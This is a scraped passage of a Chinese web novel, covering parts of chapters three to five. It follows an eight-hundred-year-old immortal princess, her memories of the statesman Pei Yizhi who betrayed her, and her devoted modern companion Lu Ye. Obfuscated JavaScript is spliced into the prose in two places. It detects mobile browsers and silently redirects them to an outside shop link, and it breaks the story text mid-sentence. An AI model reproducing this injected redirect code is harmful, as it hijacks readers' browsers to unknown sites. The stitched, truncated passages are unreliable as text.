可她隐约记得彼时万念俱灰的她怀着对裴逸之的恨意把凤冠在内所有和裴逸之有关的东西能砸的砸,能摔的摔,能掰的掰全给毁了。 哪里来的专家这么神通广大对着一地碎渣能还原到这地步? 就算是这样也得有人把碎渣埋进墓葬里才行。 叔父夺权后将她的至亲们赶尽杀绝,但好歹还是修了个墓下葬了的,按理说她的东西也应该一股脑给扔里面了。 不过谁这么无聊把凤冠的碎渣也放里面了? 还是先修复后再扔进去的? 她能想到唯一可能做这种事的人只有裴逸之。 但裴逸之没有这么做的理由。 总不能是给她个体面好让她做鬼了不要去找麻烦吧。 不至于这么小心眼吧。 那般的事情都做了,她做鬼讨个公道都不让吗? 她永生的原因该不会是裴逸之为了不让她做鬼报复找道士做了法吧。 这也太狠了。 云清婉思绪横飞有一茬没一茬胡乱想着,并没有听到陆野已经喊了她好几声。 直到脸颊处传来了宽厚手掌的温热触感,她才迷茫地抬了头,与一双仿佛坠入了星河万丈的晶亮眼眸撞了个满怀。 “公主,别回头看。” 陆野轻轻捧起她的脸,嗓音温润。 3. 第三章 被吓了一跳的云清婉猛然向后退了好几步差点重心不稳,陆野把她手臂一拉稳稳当当扶住了。 “阿野你......你干什么!吓死我了!” “怎么喊你都没反应。”陆野叹了口气,无奈说。 这个样子一看就是又被扯进没有尽头的回忆里了。 从前的事情她不说陆野便从不会问,反正日后都会知道的。 可即便没有还没有记忆,陆野也很清楚史书上关于“天厉之变”那寥寥几笔对于她来说是怎般的苦楚与深渊。 “真是吓死我了!”心有余悸的云清婉狠狠嗔了陆野一眼。 陆野耸耸肩一脸无辜:“我可不觉得这点事儿能把公主您吓死。” 她虚着眼指着旁边的奶茶店决定补充一下被吓飞了的糖分:“我要喝奶茶。” “好的,公主殿下,微臣遵命。” 也不管她薛定谔的古代人这会儿到底是倒向了哪边,陆野笑笑后去扫了点单码。 云清婉盯着陆野英气逼人的侧脸看了一会儿。 突然意识到阿野好像真的长大了。 脸是从小好看到大的,没什么好说的,从前呼之欲出的少年气已经被沉稳取代了大半, 浑身上下都散发着成熟男人的魅力,却又不失医者的温柔与仁心,很难不被吸引。 感受到灼热视线的陆野把视线从手机屏幕上移开奇怪地问:“你看我干什么?” 云清婉眨巴了两下眼睛,实话实说道出了心中所想:“没什么,就是觉得阿野你真的好好看啊。” 冷不丁被夸了的陆野表情并没有展露出半点欣喜,而是充满了警觉:“说吧,有什么事求我?” “没有啊,你怎么能这么想我啊,我是这样的人吗?”云清婉哭笑不得,他怎么能把自己的真情实意曲解成这番样子。 “你摸着你的良心,你难道不是这样的人吗?” 话倒是把陆野问懵了,还能这么没有自知之明的? “......” 被定了性,似是没有挽回余地的云清婉扯着嘴角彻底笑不出来了。 有这么夸张吗? 陆野无视掉了她的怨气把手机递过来问:“你要喝什么?” “我不喝了。”云清婉眼神幽幽,沉声回答。 “公主殿下,小野子错了,还请您大人不记小人过,就把这杯奶茶喝了吧。” 陆野也不知道是从什么时候开始就被她完完全全拿捏了。 八百多岁了的人了干什么都要哄着,稍有不顺心就闹脾气,耍性子。 但能怎么办呢? 自己的公主还不是只能自己供着。 都退让到这个地步了,结果她表情认真来了句:“阿野,我感觉你好适合去演古装剧哦,真的好像。” “......” “......” “......” 陆野石化了起码十秒钟后才抽动了两下嘴角试图挽救一下自己所剩无几的尊严。 最后还是放弃了。 从喜欢上她的那一刻起,哪还有什么尊严可言呢。 ------ 不出陆野的所料,云清婉从一楼逛到六楼,又从六楼逛到一楼。把大包小包放进车里又陪她去陈记吃饭,待回到龙湖春晓的时候都八点多了。 云清婉回京城就住在龙湖春晓,前段时间陆野找人来打扫了卫生,必须的一些日用品啥的也都补充齐了。 想着还得给她做饭,厨房的茶米油盐酱醋茶都给换新了。 “还有什么需要的东西你看看,我去买。”把大包小包给她弄进屋后,陆野问了声。 感觉自己成了巨婴的云清婉好笑地说:“阿野,我当公主那会儿都不是生活不能自理,用得着你操心到这个地步吗?” “你现在不也是公主吗?”陆野把几袋子薯片拿出来一一放到茶几的框子里反问。 云清婉有气无力瘫倒在沙发上嘟囔道:“都二十一世纪了,哪里来的公主。” 你就是我的公主。 陆野在心中默念了一声却没有把话说出来。 “药箱放在柜子里,晚上洗完澡记得换一下药。荔枝,芒果,西瓜我等下都弄好放冰箱里,不过荔枝别吃太多,会上火。热水器换了个新的,你看好温度,床单被套啥的也换了。明天早上我来接你去看陈阿姨,早饭要吃什么?牛肉面可以吗?” 她这个人陆野是一点都放心不下,明个早上就要来接还七七八八交代了一大堆。 不过看她睡眼惺忪的样子估计是一个字没听进去。 云清婉虚着眼嘴里喃喃了一声:“阿野。” 正巧陆野拿着刚买的新杯子去厨房给她倒水了并没有听到。 “阿野!”见没人应答,她又挥着手臂扯着嗓子喊了一声。 这洪亮的一声喊得陆野头疼,从厨房出来把杯子放好后无奈地说:“有力气喊这么大声不如起来收拾一下。” “帮我把电视打开。”云清婉指了指电视,喃喃道。 “遥控器不就茶几上吗?” “太远了,够不到。” “......” 陆野无语凝噎,几次欲言又止后还是把离她只有几步远的遥控器递了过去。 还说不是公主。 这待遇不是公主是什么? 云清婉倒也不是真的想看电视,就是喜欢把一百多个电视台从第一个翻到最后一个,又从最后一个翻到第一个。 连电视购物都能停下来看五分钟吐槽几句演技太差后再换到下一个。 她见证了电视时代的诞生,到现在都还记得第一次看到黑白电视时的激动心情,转眼间电视都快成时代的眼泪了。 漫无目的胡乱翻了几个台后不知道怎么就恰好停留在了新闻频道。 【考古学家称裴逸之墓葬发掘工作......】 又是裴逸之。 今天裴逸之出现的次数是不是太多了些? 入土不知道多少年的人突然这么有存在感是要哪般? 她对裴逸之轰轰烈烈爱过,撕心裂肺恨过,到现在什么都不剩下了。 正因为什么都不剩下反而能客观去看待不少问题。 一代名臣,两朝首辅,划时代的改革变法家,提出了诸多超前的政策和举措,廉洁奉公,才识颖异是后世对裴逸之的评价。 而她眼里的裴逸之不是史书上寥寥几页的文字,是一个人,活生生的人。 初见裴逸之是父皇设宴接见三元及第的新科状元,这般正式的场合是没有她的席位的。 不过她早就听闻新科状元裴逸之玉树临风,才高八斗乃稀世之才。 于是她就求了父皇好几个时辰让她偷偷躲在屏风后看看这个传得神乎其神的状元郎,结果只一眼就彻底沦陷。 裴逸之生得极为好看,清风霁月,清隽无双,举手投足与谈吐间有着温文尔雅的书卷气却又不失意气风发。 她看得太入神以至于不小心把面前的屏风都推倒了。 被屏风倒地的声音吸引了注意力的裴逸之朝手足无措的她望过来,先是愣了片刻随后绽开了嘴角。 那笑如和煦春风吹化了山巅的皑皑积雪,吹开了满树的繁花。 觉得丢死人了的她用袖子遮挡住涨红了的脸就往外跑,结果中途被绊了一跤,崴了脚。 她从小就怕疼,平时一点磕了碰了都能娇娇滴滴掉下几滴泪来,这会儿疼得都走不动路了没一会儿豆大的泪珠就爬满了脸颊。 裴逸之走到她跟前先是说了一声“公主,失礼了”后小心翼翼检查了她脚踝的伤势。 “没有伤到筋骨,敷一个时辰应该就好了。” 她全程羞得恨不得把头埋进地底,心跳快到仿佛下一秒就要从胸口飞出来。 裴逸之嗓音温润如山涧流淌清泉拂过了她的耳畔:“下次公主要看微臣正大光明看就好。” “谁要看你......” 被一语中的的她轻咬着下唇,用蝴蝶振翅般的微弱声音矢口否认。 裴逸之用衣袖拭去她眼睫上还挂着的珍珠,勾唇浅笑着轻声道:“那就是微臣想看公主。” 如今想来连她后来每每回忆起都还是会忍不住悸动的初见都是有迹可循的刻意。 一见钟情的是她,怦然心动的是她,欣喜雀跃的是她,初见乍欢的是她。 而裴逸之从屏风倒地的那个瞬间起就已经把她当做了复仇的棋子。 后来裴逸之进入内阁任职一路官至首辅,她如愿以偿与裴逸之成婚。 婚后裴逸之对她依旧百依百顺,纵容她的小性子和无理取闹,把她当成了珍宝,宠她,爱他,护她,是朝中皆羡的神仙眷侣。 裴逸之回府先会把她哄睡后再处理公务,休日会陪她在床上赖到日上三竿,隔三差五便会给她惊喜,她随口的一句话也会记在心底。 她以为裴逸之是真心爱她的。 直到一朝巨变成为阶下囚,她才直到都是精湛的演技,都是为了复仇的隐忍,都是镜花水月的假象。 她曾问过裴逸之,哪怕从头到尾都是利用就真的没有过一丝真情吗。 裴逸之昔日里被爱意和温存包裹的眼眸晦暗盈满了冰霜,冷言回了她两个字:“没有。” 那一刻她的心就被硬生生扯了出来,留下胸口一个血肉模糊的大窟窿,漫天的风雪呼啸往里灌着,每次的呼吸都仿佛凌迟。 父皇对不起魏家,背负着家族血海深仇的裴逸之该恨,该怨。 但她又做错了什么呢。 故事讲出来是令人久久不能言的唏嘘,但其实都是八百年前的陈年旧事了。 若是没个像今天这般的契机,她甚至很多时候都想不起来漫长的人生里竟然还发生过这档子事了。 当你读过很多很多书,走过很多很多路,经历过很多很多春夏秋冬,见证过很多很多里程碑式的历史,看遍了王朝的更替与人世间的悲欢离合。 明白了除了时间没有什么能永垂不朽后,这点事就真的不是事了。 在某个落日熔金的黄昏,你就突然释怀了,放下了,和解了。 不爱了,不恨了,也不念了。 你从局内人变成了旁观者,从红尘里走到了世俗外,从纷扰混沌回归了虚无。 你与时间一同,化为了永恒。 云清婉并没有意识到她怔怔看着新闻一言不发的十分钟里,陆野一直用难以言说的复杂眼眸看着她。 此时此刻的她不是在二十一世纪的现代,而是在八百多年前的大祁。 是陆野手机的响动把云清婉从绵延不绝的思绪里扯了回来。 陆野这个年纪就已是三甲医院胸外科的主治医师,说是外科天才都不为过,不仅医术精湛对待病人也是认真负责,医者仁心。 “我得去一趟医院,有个紧急手术。” 陆野拿好上车钥匙,换好鞋,出门前回身喉间滚动温声说了句:“公主,不要回头看。” 云清婉愣了一下。 今天在商场他好像也说了同样的话,从前被回忆侵袭的时候他也会用小手拉着自己担忧地问是不是有什么不开心的事。 “回头看?开什么玩笑,你别太小看公主了!” 云清婉唇角绽开了笑容。 她走过的路早就长到没有回头看的意义了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408406|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ------ 裴逸之今日一早起来便开始看奏折,到晌午并无半点食欲且身子乏力得很便伏案小憩了片刻,不知道第多少次又梦到了旧事。 梦里的云清婉把下唇咬得鲜血直流,眼底刺骨的恨意蔓延,浑身颤抖不止留给了他此生最后一句话。 “裴逸之,我生生世世诅咒你。” 他迷蒙睁开眼恍神间带着钻心的苦痛哽咽轻唤了声:“公主......” 低头便瞧见了堆积如山的奏折边云清婉第一次乔装打扮偷溜出宫见他,两人逛庙会时买的莲花琉璃簪。 那日他刚处理完公务回到官邸小厮来报说有人求见,他到前厅就瞧见穿着便装正在东张西望的云清婉。 公主擅自出宫若被知晓少不了责罚,他欣喜间想着得把人赶紧送回宫去,云清婉飞扑进他的怀里娇声埋怨说:“裴逸之,你这几日怎么都没来见我,我想你了。” 拗是拗不过她的,一点不顺了她的意就是扬起脑袋的一句“我可是公主,裴逸之你敢不听我的?”,加上这几日公务太繁忙也确实没抽出身去看她,只得以“逛完庙会得立马回宫”为条件答应了下来。 不过最后她还是因为累得厉害在官邸的房内呼呼大睡了一夜,第二天果不其然事情败露给皇上气得差点要革了他的职。 公主擅自出宫不说还在外过夜成何体统,虽然朝中人都知道公主与他两情相悦,赐婚是早晚的事,但皇家的颜面还是得顾。 便以他罚了两个月俸禄,公主禁足半月收了场,结果半月后他回官邸再次见到心心念念之人时就知道今年怕是拿不到俸禄了。 庙会上的簪子都是平常老百姓的物件,对于看遍了稀世珍宝的公主来说不值一提,但云清婉还是兴致勃勃挑了根说:‘裴大人每月的俸禄也就这么点,可得省着用,就这根莲花琉璃簪了。” 后来大婚之日的凤冠霞帔上也有这根“定情信物”。 可最后云清婉却将它连同大婚之日头戴的凤冠,所有与他有关的东西全都毁了。 能修的他都找人修好了,却只留了这根莲花琉璃簪在手边。 自陆远卿把云清婉带走已经快十年了。 回头看十年也不过弹指一挥间,白驹过隙一瞬,可过起来实在太漫长,太漫长了,漫长到裴逸之觉得已经足够了。 这十年间陆陆续续其实是有传来她的消息的,为穷苦者施粥,行医,办学堂教人读书写字,救济老幼病残,还是那个把世间所有的真与善都寄于心中的她。 而陆远卿也一直跟在她的身边。 想当年因为她对陆远卿处处念着护着,还为陆远卿跟自己置过几次气,一度让自己甚至动了杀心。 尽管知道她对自己和对陆远卿的感情是完全不同的,但也无时无刻不想着把陆远卿的那份也抢过来。 自己的公主,眼里怎么能有别人。 只是没想到到头来只能把她托付给陆远卿,也是讽刺至极。 政权更替,皇权易主,就算是自己也难以保全她的性命,只能让她离得越远越好。 “生生世世诅咒吗?” 裴逸之胸口绞痛难忍,苦笑了一声。 她的确该恨,该怨,该诅咒自己生生世世不得善终。 每一步都是自己做出的选择,把她推向了和当年的自己同样的深渊。 所以最后面对她是否有过一丝真情的问题,也只能以“没有”作为回答。 罪魁祸首没有资格用任何理由去祈求哪怕一丝的心安与原谅,就该接受生生世世的诅咒。 是小厮的一声“裴大人,钟太医到了”把在没有尽头的回忆迷路里找不到出路的裴逸之拉了出来。 裴逸之深呼吸几下整理好心境后应声道:“请进。” 政变夺权后即便每日处理公务到后半夜也并没有几个时辰能休息,但辗转反侧直到鱼肚翻白都难以入眠,时不时还会胸痛难抑,连咳不止。 钟太医为他把过脉后叹着气语重心长劝阻道:“裴大人还请不要过于操劳了。” 裴逸之收回手腕笑笑说:“总要有人操劳,如今北方闹了旱灾,边关小国战事接连不断,前几日又出了瘟疫的消息,如何能不操劳。” “裴大人为国为民但也要多加注意身体,如今大祁离不开裴大人。莫要再为逝去之事烦扰,以免气血攻心又加重病情。” 钟太医与裴逸之是故交,知晓他没日没夜,舍身忘我扑在公务,以至身体劳损至此罹患肺结除了忧国忧民皆因对永宁公主的情。 但终究是往事不可追,执念无处解。 “钟太医所言甚是,但这都是我该受的。”裴逸之没有在意话里的劝诫,只当是惩罚:“得趁着剩下的时日再为大祁做些什么。” 要么负魏家满门忠烈的在天之灵,要么负皇上的救命栽培之恩,要么负她。 哪一个都负不了,最终却只能负了她。 自己唯一能做的赎罪只有为大祁把这条命燃尽。 偶尔倒是盼着能早日去那黄泉路上等说不定还能最后再见她一面。 可她怎么可能愿意见自己呢。 只能用这副油尽灯枯的身子再为大祁多做一些,到时候能远远看她一眼便也知足了。 劝解的话钟太医已说过太多太多,但终究只是徒劳。 那般的情要如何才能放下呢。 他的肺结已到了无力回天的地步,时日无多。 为大祁操劳至今的他最后得把心结消了才是,现在这番样子要怎么过那奈何桥呢。 钟太医思忖许久后还是给裴逸之开了一剂方子,虽无法治其身却能治其心。 “裴大人,去见公主吧。” 4. 第四章 做完紧急手术后急诊又接连来了几个病人,忙完已是六点多,陆野从医院出来后直接去了龙湖春晓。 轻轻推开卧室的房门,云清婉还睡着,睡相一如既往差得要命,枕头偏移了十万八千里,被子也被踢到了地上。 她穿了件淡粉色的小熊吊带睡裙,露出了莹白纤长的脖颈,如瀑布般的青丝散落在枕头上。 陆野轻轻叹了口气后把空调呼呼的风量调小了些,又把被子捡起给她重新盖好了。 虽说她是看着自己长大的,但除了小时候那几年,更多的时候都是自己照顾她。 都活了八百多年了,怎么还能如此随意的? 但也可能就是因为活了太久了,她对活着这件事已经不再有期待所以才会什么都可以,什么都无所谓,什么都不在乎了。 普通人的生命最多也不过百年。 百年说长也长,说短也短,在这期间任谁都是有期许的。 名誉也好,金钱也好,爱情也好,自我价值也好,没有期许便不能称之为活着。 可她的期许只剩下“死亡”。 世间怎么会有这般讽刺之事呢? 她到底做错了什么才会让老天爷降下如此的惩罚呢? 陆野坐在床边,任凭纷繁杂乱的思绪横飞。 理智最终在翻涌的感情前溃不成军,陆野缓缓俯下身离云清婉熟睡的脸越来越近,洗发水与沐浴液的淡淡清香扩散开来盈满了鼻尖。 她浓密纤长的眼睫像暂且休憩的蝴蝶羽翼,樱桃般的粉嫩唇瓣微嘟,额间碎发恰到好处的凌乱。 陆野眸子里流转着从窗帘缝隙里倾泻下的温柔曦光,喉间吞咽了几次后在她的额间留下了一个温热的轻吻。 不过一个吻而已,就请原谅自己吧。 忙了一个晚上,陆野退出房间在沙发上靠了一会儿后就迷迷糊糊睡着了。 不知道睡了多久再次迷蒙间睁眼时被一张近在咫尺的脸吓得猛然一颤,额头不偏不倚与云清婉的鼻子来了个正面交锋。 “啊!” 云清婉躲闪不及被撞得两眼冒金星,捂着鼻子发出了痛苦的惊呼。 “你干什么,靠这么近。” 毕竟闭眼前最后一幕就是她的样子,有些心虚的陆野这会儿也被吓得不轻。 云清婉艰难从牙缝里挤出几个字说:“我看看你啥时候能起来......” 陆野看了眼时间已经十点多了,起身把毛毯折好,又挪开她捂着鼻子的手看了看,是红了一块但鼻骨没断,问题不大。 “起来了为什么不叫我?” “你这么累当然得让你多睡会儿了,几点回来的?手术还顺利吗?” 云清婉是八点多醒来的,从卧室出来看到陆野睡在沙发上,脸上写满了疲惫,眉心皱得厉害,便蹑手蹑脚去拉了窗帘又给他去拿了毛毯盖上。 胸外科的繁忙程度是超乎想象的,陆野这几天休了年假,但医生根本没有休息一说,任何时候都是二十四小时待命,一个电话就得往医院赶。 特别陆野还是被整个科室都给予厚望的天才新星,身上的责任就更重了。 救死扶伤,悬壶济世,从前那个吵着闹着要听故事的小家伙已经成了独当一面的大人。 但看到他如此辛苦云清婉还是会心疼。 而且一旦他拥有了记忆,被陆远卿的执念所束缚,至今为止所有的努力都会付诸东流。 想到这里云清婉的心就是阵阵绞痛,盯着看了许久。 “六点多回来的,没什么问题。”陆野按了按酸涩的脖子,打着哈欠回答说。 “脖子疼吗?坐下我给你按按。” 陆野拒绝了她的好意说:“不用。” 不过云清婉很坚持,拍了拍沙发说:“你坐下,我很有手法的!” 来回掰扯了几句还是拗不过她的陆野只得乖乖坐下了。 云清婉的力气不小,又是按又是捶又是捏,还用胳膊肘使劲,手法很是娴熟。 才按了一小会儿陆野就怕她手酸喊了停:“好了,可以了。” “这才多久?多按会儿。” 外科手术是个妥妥的体力活儿,动不动就是好几个小时,陆野平时已经很注意锻炼了。 再忙一周也会去两次健身房,有时间也会去晨跑,但长时间握手术刀这些毛病也是没办法的事。 “你等会儿先去洗个澡,我看你没睡着怕牛肉面买上来坨了就一直没下楼,趁你洗澡的时候我下去买,还是说想吃别的?或者我买了菜回来给你做?” 陆野听着这番话恍惚间有了种她是自己女朋友的错觉,除了最后一句。 那是谋杀。 云清婉的厨艺不能用惨不忍睹,只能用惨绝人寰来形容。 当然不能指望十指不沾阳春水的公主拥有炉火纯青的厨艺,但她愣是八百多年来没学会一个像样的菜。 要么糊了,要么没熟,要么盐放多了齁咸,要么糖放多了齁甜。 “怎么还有你做饭这个选项?”陆野斜着眼不可思议地问。 “阿野,公主给你做饭你不应该谢主隆恩吗?怎么还嫌弃起来了?” “......”陆野无语凝噎片刻后默默拿起了桌上的泡面。 云清婉最后用了拍了拍他的双肩后从沙发上起身,边甩着酸涩的手臂边没好气地说:“不吃算了,别人想吃还吃不到呢。” 把“应该没人想吃”这句咽进肚子,陆野起身说:“你在网上下单买点想吃的菜,我洗完澡给你做。” “不用啊,太麻烦了。” 陆野好笑地说:“又不是你动手你麻烦什么,我就问你想不想吃。” “那你要问我想不想,那肯定是想的,但......” 阿野的厨艺不能用炉火纯青只能用登峰造极来形容,比从前当公主时候的宫廷御宴都要好吃不知道多少倍。 云清婉最心心念念的就是这一口。 不过他昨天陪自己逛了这么久,晚上又通宵做了手术,不能再累了,可拒绝的话却在中途被截断了。 “那不就行了,快去买菜。”陆野笑笑还特意加上了个不得不做的理由:“就当给云师傅推拿的谢礼了。” 公主想吃他做的饭,哪有不做的道理。 说完陆野就去拿了换洗的衣服去了浴室。 打开淋浴头,温热的水顺着头顶冲下来让他清醒了不少。 他伸出白皙修长的手把起雾的镜子擦了几下,看着镜中映出的自己,抬着下巴左右换了好几个角度小声嘀咕了一句:“好看嘛......” 门外忽然传来轻快的一声:“阿野!我想吃土豆可以吗!” 他看着门上映出的娇小身影,笑意随着水蒸气一同弥漫开来:“可以。” “那牛肉呢?” “可以。” “焖鸡呢?怎么办?什么都想吃。” “只要公主吃得下都可以。” 云清婉自信放出了豪言壮语,让他大可放心:“那你就太小瞧公主了,你做多少我就能吃多少!” 他听着门外人嘴里纠结该吃什么的碎碎念,晕染开了硬朗的眉眼。 “公主。”陆野轻唤了一声,嗓音被蒙蒙水汽浸润。 云清婉正纠结着这顿满汉全席到底要选哪几味食材上桌,愉悦着语气应声:“怎么啦。” “之前医院的春节活动中了两张欢乐谷的门票,有效期快到了,反正也没事,要不要去看看?” 为了不被察觉出意图,陆野故意把话说得漫不经心, “你运气这么好的嘛!”云清婉作为再来一瓶都没见过的中奖绝缘体不由感叹了一声。 陆野不咸不淡扯了句:“还行吧。” 面对诚挚的邀请,她打趣着说:“这不应该跟女朋友一起去吗?和我也太心酸了吧。阿野幼儿园时就有小朋友说长大要给你当新娘子,初高中收到的情书塞满了一整个屉子,更别说大学之后了,那么多女孩子追就没遇上喜欢的人吗?” 无论是长相,身材,性格,还是能力,聪明程度,从小到大陆野都是众星捧月的天之骄子。 云清婉甚至觉得就算是跟裴逸之比都是有过之而无不及的。 诚然一个二十一世纪的现代人和一个八百多年前的古代人并没有任何可比性。 但在云清婉认识且有过了解的人里裴逸之大抵就是时代局限性下,不是神明的凡人能够做到的极致了。 用不带有任何个人感情,只从客观的角度来看,云清婉甚至觉得史学家们的评价保守了。 那可是裴逸之啊。 她了解的裴逸之比史书里记载的还要优秀得多。 而陆野,在她心里能跟裴逸之平分秋色的人,喜欢的女孩子拿着号码牌能从陈记饭店排到卢浮宫去,到这个年纪竟然还没谈过恋爱着实让人匪夷所思。 “没有。” 陆野低下头,方才还熠熠生辉的眼眸瞬间凋零,撒了至今为止的人生里最大的一个谎。 谎言里全是真心,真心里却掺不进一丝谎言。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408407|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他不能说,哪怕在消亡前的最后一刻作为今生的饯别,他也不能说。 再多的苦痛,再多的哀伤,再多的悔恨在心脏永远停止跳动的那一刻都会归为虚无。 但她的心脏不会停止跳动,那就意味着所有的苦痛,哀伤,悔恨永远没有消散的那一天,只会越积越多最后变成她眼中空无一物的荒芜。 所以不能说。 “阿野,如果你有喜欢的人......” 云清婉的话才刚起了个头就被打断了:“没有,也没有如果。” 她想说什么陆野很清楚。 无非就是先祖执念的那一套,陆野并不相信一个有自主意识的人能够被他人的思想所控制。 一个外科医生谈论什么意识操纵本身就很魔幻了,但即便在接受了这个前提的情况下他也觉得没什么。 因为眼前的人本身就是对他来说最重要的人。 他的想法和先祖的执念如出一辙。 “阿野......” 话卡在喉咙里不上不下,带着尖锐的刺扎得人开不了口。 陆野换好衣服打开浴室的门,压低声线问她:“云清婉,你觉得我是连自己的意识都控制不了的人吗?” 一股湿热的水气扑面而来,眼前人的表情乌云密布,眸色深邃不见底,湿漉漉的头发淌下的水珠挂在凌冽的下颌线上摇摇欲坠。 “不是这个意思......” 意识到态度太生硬的陆野稍稍缓和了语气,紧绷的眉眼也舒展了下来,“这不是你要考虑的问题。” 在喜欢上她的那一刻起,自己早就想好了。 能陪她这一辈子,足够了。 云清婉抬头用含着千言万语的复杂目光看了一会儿陆野,在沉默的终焉启唇说:“但是欢乐谷我做不了过山车的话就没几个能玩的了。” “不是有旋转木马和咖啡杯吗?”陆野拿起手边的毛巾擦着头发问。 “这么大的人了坐旋转木马和咖啡杯不合适吧。” “你多大了?” 云清婉如实回答:“八百多岁了。” 陆野伸出手把溅到她脸上的几滴水珠擦去,觉得她委屈巴巴的样子甚是可爱,唇边笑意绽开:“多了两位吧,八岁不能再多了。” “......阿野,你不尊重长辈。” 虽嘴上这么说着,但云清婉也知道她在陆野面前确实不像个长辈。 陆野是她在这个世界上最在乎,最珍视的家人。 所以八百年前的云清婉是什么样,在陆野面前的云清婉就是什么样。 完完全全做着自己,没有保留,没有顾虑。 一点不能顺心就耍小性子,闹脾气,早就不是公主了还有公主病。明明她才是长辈,该她照顾陆野,结果全反了过来。 陆野无时无刻不在照顾着她,迁就她的想法,哄着她的脾气。 她是想收敛的,但不知为何一面对陆野,一股脑就都出来了。 “你想要什么样的尊重?说说看。”陆野决定先听听她的诉求再做决定。 “至少不能把我傻子吧。” 陆野不承认指控:“我什么时候把你当傻子了?诛九族的大罪我可不敢。” “算了,就这样吧。”云清婉叹了口气,觉得错在她没个长辈的样子,认清了现实。 见她低头耷拉下了嘴角,陆野浅笑安慰着说:“人是越活越小的,况且你当小孩子又不是一天两天了,你抢我零食的时候我就知道了。” 但这话显然没有起到安慰的效果反而是火上浇油。 “这些事情就不用记得了啊。” 她知道陆野记忆力惊人,但有些事情真没有记住的必要。 陆野耸耸肩,一脸无辜:“那没办法,印象太深刻了,反正没听说谁家公主跟一个八岁的孩子抢零食的。” “那是逗你......” 云清婉急切的辩解被温柔有力的一声吞没了:“多少岁有什么关系?云清婉就是云清婉,这样就够了。” 她就是她,自己喜欢的她。 仅此而已。 云清婉听到这声的时候怔怔愣住了。 这个瞬间心中萌生了一个绝不该有的自私想法:要是阿野能一直在她身边就好了。 “怎么了?”见她突然呆呆的不说话了,陆野奇怪地问。 “没什么。” 云清婉摇摇头,收回了目光。 君子论迹不论心,刚才那一瞬间的游离,就请原谅她吧。 5. 第五章 陆野拿得了手术刀也同样拿得了菜刀。 哪怕是对着牛肉,每一刀也精准到像是艺术,看得云清婉都为死去的牛牛们忍不住说了句:“阿野,就放过它们吧。” 不过外科医生的骄傲摆在那里,陆野依旧刀刀追求着完美。 在厨房忙活的两个多小时里医院打来了两个电话,他手空不出来都是云清婉把手机拿到他耳边接听的。 好在在他的指示下住院医都处置好了不需要他再赶去医院,要不然就只能菜炒到半路换云清婉掌厨了。 那再等他回来怕是神仙都无力回天了。 陆野让云清婉去客厅等着就行,但想着不能当甩手将军的云清婉觉得怎么也要出一份力便在旁边打起了下手。 结果是哪儿哪儿都让陆野不满意,最后被强行赶走勒令没有允许不得踏入厨房半步,让她深受打击。 做饭一事云清婉也确是心有余而力不足,按理说拥有无限时间的话便不会有做不到的事情。 奈何她是真对做饭没太大兴趣,沉不下心来,加上嫌麻烦愣是八百多年也没想着要向大厨发起挑战。 倒是陆野天赋异禀,深得陈秋芬的真传,把炉火纯青的技术全给学了过去。 到现在云清婉依旧觉得能把买回来还会“咯咯咯”的鸡变成一盘令人垂涎三尺的佳肴简直堪比魔法。 陆野185cm的身高系着大红色的围裙在厨房忙前忙后恨不得长出三头六臂,云清婉坐在沙发上发呆脑子里想的却是要再买个好看的围裙。 人与人的悲欢总是不相通。 云清婉这几年一直在国外攻读心理学博士,说来也好笑,活了八百多年了竟然还在读书。 不过对于她来说停止学习的那一刻就会成为只有躯壳没有灵魂的行尸走肉。 所以每隔一段时间云清婉就会换一个领域,历史,哲学,生物,数学,物理,机械甚至医学她其实都有较深的涉猎。 当过老师,做过医生,上过法庭,凿过冰山,挖过化石,研究过宇宙行星,挑战过哥德巴赫猜想。 正因为如此陆野才会说她就算一个人造出原子弹来也不足为奇。 倒不是她有什么想要追求全知全能的思想境界,而是她只能这么做才能被称之为“人”。 停止思考的那一刻便不再是“人”。 而思考的源动力来自对于未知的探寻,她别无他法。 除了不断的拓宽知识领域以外云清婉一直秘密进行着文物保护和历史研究相关的活动。 毕竟很多影响历史进程的大事都是亲眼所见,更别说不少文物在还未成为文物之前都是经过了她的手的。 陆家发家靠的就是典当行,她那双历经八百多年千锤百炼的眼睛精准到万无一失,一眼就能辨别出真假,朝代,出土地,甚至知道是谁的东西。 在沙发上等着开饭的时候云清婉查看了一下邮件,国家博物馆发来几样文物想让她帮忙鉴定一下。 各个博物馆关于文物鉴定,修缮方案,历史研究等拿不准的时候都会发邮件来征询她的意见。 云清婉看了下发来的照片写好回复后忽然想起昨天在商场看到的“大祁之美”的展览,便顺带问了一句那顶凤冠的情况。 很快就收到回复说出土的时候就是完整的,但的确有遭毁坏后的修复痕迹。 云清婉倒是料到了这个结果,毕竟对着八百多年前的一堆碎渣子,再厉害的文物修复师也不可能还原到八九不离十的地步。 得到确认的她只觉得裴逸之真够闲的。 这顶凤冠当初父皇找了全大祁最知名的工匠们打造了两年,用到了二三十种珍稀宝石和一大堆今日的非遗工艺,修复起来的难度可想而知。 有时间精力找人去修复这玩意儿真不如做点对百姓有意义的事情。 【这顶凤冠我们推测是永宁公主与裴逸之大婚时所戴,从曾经遭到毁坏又被修复来看,怀疑是永宁公主在天厉之变后将其毁坏又被裴逸之找工匠修复的。】 【这从侧面验证了我们之前的猜想,但这就让他参与谋反的理由更加扑朔迷离了。彼时的裴逸之已官至首辅又与永宁公主情投意合,并没有谋反的动机。】 